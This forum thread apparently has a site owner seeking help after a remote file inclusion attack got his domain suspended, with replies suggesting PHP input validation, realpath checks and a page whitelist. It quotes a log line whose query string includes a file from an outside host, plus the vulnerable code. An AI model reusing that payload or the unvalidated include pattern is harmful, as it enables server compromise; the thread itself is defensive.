Jump to content

Hacked! I need help with an insecure script that got my domain suspended.


k5hitchcock

Recommended Posts

Here is part of the log I got from my host manager (my website is the www.krishitchcock.com part):

 

87.118.118.172 - - [06/Mar/2008:11:50:46 -0600] "GET /favicon.ico HTTP/1.1" 404 - "http://www.krishitchcock.com./index.php?a=http://www.hoopster.1142degrees.com./articles/ra.jpg?" "Opera/9.26 (Windows NT 6.0; U; es-es)"

 

and here is what I suspect is the offensive code:

 

if(!isset($a)) {
       include 'home.php';
} else {
       include "$a.php";
}

That is the code of the index page content, which loads based on the $a value.  My links are named index.php?a=whatever

 

I think this is the only time I've used this code, which is why I assume this is the offensive code.  The only thing is, I have another site that uses the same code and I've never had a problem with that one.

Link to comment
Share on other sites

Never trust input from the user. Always validate.

 

In your case, first check if $_GET['a'] contains "http://" and reject that immediately, then check to see if the value passed is one you expect. You can do that by putting the expected values in an array and checking whether the value passed is in the array, if not, reject it.

 

If hackers found one of your sites, they will find the other one eventually. Fix that code also, so they can't hack you there also.

 

Ken

Link to comment
Share on other sites

<?php

if(!isset($a)) {
       include 'home.php';

   }else{

$a = preg_replace('/\W/si', '', $_GET['a']);
include('./'.$a.'.php');
}

?>

 

Does this look like it would solve the issue?  Its removing all non alpha-numeric characters from the input.

Link to comment
Share on other sites

Ya that looks pretty stable, and I'm certain there are scripts that remove any questionable user input. Google search and  you can base your security off of a few scripts.

 

 

Good luck protecting your stuff, it's going to be my biggest issue when the time comes.

Link to comment
Share on other sites

In this situation, you could always do this:

 

(note: I've never actually used this on a site as I just now came up with it, so there might be a few little bitty bugs with it, but as far as I can tell, it should work fine)

 

$a = (isset($_GET['a'])) ? trim($_GET['a']) : 'home.php';

$real_a = realpath($a);
$file_root = realpath('includes/pages');
//this would be set to where you wanted files to be able to be included under....
//in this case the subfolder includes and then pages

if($real_a && strpos($real_a, $file_root) === 0 && file_exists($real_a)) {
     include $real_a;
}
else {
     include 'home.php';
}

Link to comment
Share on other sites

realpath takes a path name (relative or what ever) and returns the actual path.

 

 

For example, let's say I ran:

 

C:\Users\Corbin\Desktop>php -r "echo realpath('../');"
C:\Users\Corbin\

 

See how it takes the path "../" and converts it to where it's really pointing?

 

Let's say I have the code from my last post at http://somesite.com/page.php and my webroot is Y:\web_files\corbin\html\, if someone puts in '../' for the get variable a, the realpath() call would return "Y:\web_files\corbin".

 

So what does this accomplish?

 

Oh crap....  I just realized something.  Ignore my code from earlier and pretend it was the following instead:

 

$a = (isset($_GET['a'])) ? trim($_GET['a']) : 'home.php';

$real_a = realpath('includes/pages/'.$a.'.php');
$file_root = realpath('includes/pages');
//this would be set to where you wanted files to be able to be included under....
//in this case the subfolder includes and then pages

if($real_a && strpos($real_a, $file_root) === 0 && file_exists($real_a)) {
     include $real_a;
}
else {
     include 'home.php';
}

 

That means that $real_a would contain the real path of what the user entered (as relative to includes/pages).

 

For example, if someone entered ?a=page1, $real_a would be Y:\web_files\corbin\html\includes\pages\page1.php

 

$file_root in the meantime would be Y:\web_files\corbin\html\includes\pages.

 

int strpos ( string $haystack , mixed $needle [, int $offset ] )

Returns the numeric position of the first occurrence of needle in the haystack string. Unlike the strrpos() before PHP 5, this function can take a full string as the needle parameter and the entire string will be used.

http://php.net/strpos

 

That means that strpos($a, $b) returns the offset of the first occurance of $b in $a.

 

Example:

 

$a = 'Corbin was here.';
echo strpos($a, 'b');
//echos 3 (counting starts from 0)
echo strpos($a, 'h'); //11
echo strpos($a, 'c'); //0

 

 

At this point, you may be wondering what the purpose of this is....

 

Obviously in this scenario you would want to create a folder where people could only access files under that.  (For example Y:\web_files\corbin\html\includes\pages\.)  Because of the way file systems are setup, a filepath includes all of its parents.  (For example--in Y:\web_files\corbin\html\includes\pages\ web_files is the parent of corbin which is the parent of html which is the parent of html which is the parent of includes which is the parent of pages.

 

That means that in theory any file path includes all of the folders above it, basically where exactly it is.  "But wait," you say, "What about '../' and '/'?!"  (Wow I must be tired if I'm quoting you before you talk..... weird.... hypothetical talking?  hmmmm rambling weeeeee)

 

Anyway, realpath() takes a path and evaluates all of the symbolic things such as '..' and '/'.  For example, if a php script were ran in C:\Some\crazy\long\directory\tree\omg\this\is\long\and\Ive\never\seen\this\many\forward\slashes\before and the script simply had <?php echo realpath('/'); ?> in it, the output would be C:\.  Under the same directory, realpath('..\..\') would say C:\Some\crazy\long\directory\tree\omg\this\is\long\and\Ive\never\seen\this\many

 

So by using realpath, unless there is a bug in it, you will always have the real path (hehehehe) of a file.

 

So, if you have C:\Some\Folder\ and you know that the strpos() position of C:\Some is 0, then you know that C:\Some\Folder\ is under C:\Some.

 

(It's useful to note at this point that strpos() returns an integer or a boolean false, hence why === is used instead of == since boolean false and 0 would be considered the same thing with ==.)

 

Anyway, I can feel my self rambling (for the past 20 lines), so I'll just post this now, and I'm sure if you have questions you will ask them.

Link to comment
Share on other sites

How many possible values do you have for $_GET['a']? Instead of stripping out values that shouldn't be in the result I ONLY accept the ones I know should be accepted.

 

<?php

switch ($_GET['a']) {

    case 'page1':
    case 'page2':
    case 'page3':
    case 'page4':
    case 'page5':
        include "$a.php";
        break;

    default:
        include 'home.php';
        break;
}

?>

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.